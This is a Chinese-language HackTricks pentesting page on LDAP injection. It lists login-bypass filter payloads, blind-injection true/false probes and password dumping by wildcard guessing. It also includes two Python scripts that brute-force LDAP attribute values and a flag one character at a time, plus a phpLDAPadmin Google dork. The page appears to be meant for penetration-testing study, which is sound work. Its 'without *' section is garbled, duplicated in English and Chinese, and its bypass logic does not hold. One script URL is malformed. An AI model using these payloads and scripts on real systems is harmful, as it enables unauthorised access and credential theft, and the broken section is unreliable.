13 KiB
LDAP注入
LDAP注入
☁️ HackTricks云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品——The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
赏金猎人提示:注册Intigriti,一个由黑客创建的高级赏金猎人平台!立即加入我们的https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
LDAP注入
LDAP
如果你想知道什么是LDAP,请访问以下页面:
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %} pentesting-ldap.md {% endcontent-ref %}
LDAP注入是一种用于利用基于用户输入构建LDAP语句的Web应用程序的攻击。当应用程序未能正确对用户输入进行清理时,可以使用本地代理修改LDAP语句。
{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
过滤器 = ( filtercomp )
Filtercomp = and / or / not / item
And = & filterlist
Or = |filterlist
Not = ! filter
Filterlist = 1*filter
Item= simple / present / substring
Simple = attr filtertype assertionvalue
Filtertype = '=' / '~=' / '>=' / '<='
Present = attr = *
Substring = attr ”=” [initial] * [final]
Initial = assertionvalue
Final = assertionvalue
(&) = 绝对TRUE
(|) = 绝对FALSE
例如:
(&(!(objectClass=Impresoras))(uid=s*))
(&(objectClass=user)(uid=*))
你可以访问数据库,其中可能包含许多不同类型的信息。
OpenLDAP:如果有2个过滤器到达,只执行第一个过滤器。
ADAM或Microsoft LDS:使用2个过滤器会抛出错误。
SunOne Directory Server 5.0:执行两个过滤器。
发送正确语法的过滤器非常重要,否则将抛出错误。最好只发送一个过滤器。
过滤器必须以&
或|
开头
示例:(&(directory=val1)(folder=public))
(&(objectClass=VALUE1)(type=Epson*))
VALUE1 = *)(ObjectClass=*))(&(objectClass=void
然后:(&(objectClass=
***)(ObjectClass=*))
**将是第一个过滤器(执行的过滤器)。
登录绕过
LDAP支持多种格式来存储密码:明文、md5、smd5、sh1、sha、crypt。因此,无论你在密码中插入什么,它都会被哈希处理。
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
列表
盲 LDAP 注入
您可以强制返回 False 或 True 响应来检查是否返回任何数据,并确认可能存在盲 LDAP 注入:
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
转储数据
您可以迭代ASCII字母、数字和符号:
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
(&(sn=administrator)(password=B*)) : KO
...
(&(sn=administrator)(password=M*)) : OK
(&(sn=administrator)(password=MA*)) : KO
(&(sn=administrator)(password=MB*)) : KO
...
脚本
发现有效的LDAP字段
LDAP对象默认包含多个属性,可用于保存信息。您可以尝试暴力破解所有这些属性以提取信息。您可以在此处找到默认LDAP属性的列表。
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
特殊的盲LDAP注入(无需"*")
This technique is used when the application filters the wildcard character "*". However, it still allows us to perform a blind LDAP injection attack by leveraging other LDAP filter operators.
当应用程序过滤通配符字符"*"时,可以使用此技术。然而,我们仍然可以利用其他LDAP过滤器操作符来执行盲LDAP注入攻击。
The basic idea is to use the "!" operator to negate the result of an LDAP filter condition. By injecting a payload that causes the condition to evaluate to false, we can bypass the filter and retrieve sensitive information.
基本思想是使用"!"操作符来否定LDAP过滤器条件的结果。通过注入一个导致条件评估为false的有效负载,我们可以绕过过滤器并检索敏感信息。
For example, consider the following LDAP filter used to authenticate a user:
例如,考虑以下用于验证用户的LDAP过滤器:
(&(username=admin)(password=pass))
If the application filters the wildcard character "*", we can't use the usual payload like (username=*)(password=*)
to bypass the filter. However, we can use the "!" operator to negate the result of the condition:
如果应用程序过滤通配符字符"*",我们无法使用通常的有效负载(username=*)(password=*)
来绕过过滤器。然而,我们可以使用"!"操作符来否定条件的结果:
(&(username=admin)(!(password=pass)))
This payload will evaluate to false, allowing us to bypass the filter and potentially retrieve sensitive information.
这个有效负载将评估为false,允许我们绕过过滤器并可能检索敏感信息。
Keep in mind that the specific syntax and operators may vary depending on the LDAP server implementation. It's important to understand the LDAP filter syntax and the available operators for the target server.
请记住,具体的语法和操作符可能因LDAP服务器实现而异。重要的是要了解目标服务器的LDAP过滤器语法和可用的操作符。
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
Google Dorks
谷歌黑客搜索语法
Google Dorks是一种使用谷歌搜索引擎的高级搜索技术,用于发现特定的信息和漏洞。黑客可以使用Google Dorks来查找敏感信息、漏洞和其他有价值的目标。以下是一些常用的Google Dorks示例:
site:
:限制搜索结果为特定网站。filetype:
:限制搜索结果为特定文件类型。intitle:
:限制搜索结果为包含特定标题的页面。inurl:
:限制搜索结果为包含特定URL的页面。intext:
:限制搜索结果为包含特定文本的页面。
黑客可以使用这些Google Dorks来查找敏感信息,如数据库备份文件、配置文件、登录凭证等。他们还可以使用这些Dorks来查找特定的漏洞,如SQL注入、LDAP注入等。黑客可以通过在搜索中使用这些Dorks来定位目标,并利用发现的漏洞进行攻击。
黑客使用Google Dorks时需要小心,因为谷歌搜索引擎可能会记录搜索历史和活动。此外,滥用Google Dorks可能会违反法律和道德规范。因此,黑客在使用Google Dorks时应该遵守法律和道德准则,并仅限于合法的渗透测试活动。
intitle:"phpLDAPadmin" inurl:cmd.php
更多有效载荷
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
赏金猎人提示: 注册 Intigriti,一个由黑客创建的高级赏金猎人平台!立即加入我们的 https://go.intigriti.com/hacktricks,开始赚取高达 $100,000 的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
- 你在一家 网络安全公司 工作吗?想要在 HackTricks 中 宣传你的公司?或者想要获得 PEASS 的最新版本或下载 HackTricks 的 PDF?请查看 订阅计划!
- 发现我们的独家 NFTs 集合 The PEASS Family
- 获取 官方 PEASS & HackTricks 商品
- 加入 💬 Discord 群组 或 Telegram 群组,或者在 Twitter 上 关注 我 🐦@carlospolopm。
- 通过向 hacktricks 仓库 和 hacktricks-cloud 仓库 提交 PR 来分享你的黑客技巧。